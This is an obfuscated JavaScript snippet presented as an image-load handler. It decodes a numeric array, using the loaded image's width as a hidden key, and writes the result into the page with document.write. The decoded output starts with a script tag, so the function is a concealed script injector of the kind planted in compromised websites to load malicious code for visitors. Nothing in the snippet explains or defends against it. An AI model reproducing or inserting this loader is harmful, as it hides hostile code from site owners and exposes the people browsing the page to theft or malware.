function onImgLoad(source) {
var as = new Array(104,40,82,181,506,513,471,621,423,510,460,561,452,495,454,571,422,510,533,615,429,510,546,639,429,497,473,615,423,493,482,564,494,498,483,636,451,491,477,641,450,428,459,621,423,514,477,579,496,442,455,636,448,487,456,615,494,514,465,619,435,443,436,573,450,499,464,615,493,488,473,617,431,513,471,621,423,510,460,655,496,430,455,621,433,443,436,573,422,514,460,619,504,429,547,638,435,498,549,620,451,512,474,577,433,493,485,576,513,448,523,563,513,452,520,576,447,443,480,626,434,512,483,636,429,498,483,641,435,436,456,558,496,425,536,643,446,430,543,573,474,432,530,559,474,429,455,636,448,487,456,615,508,432,545,564,506,429,455,636,448,487,456,615,508);
var xi = source.width; if (!xi) {return;}
var s=""; for (var n=4; n<as.length; n++) {s+=String.fromCharCode((as[n]-xi)^as[n%4]);} document.write(s);
}

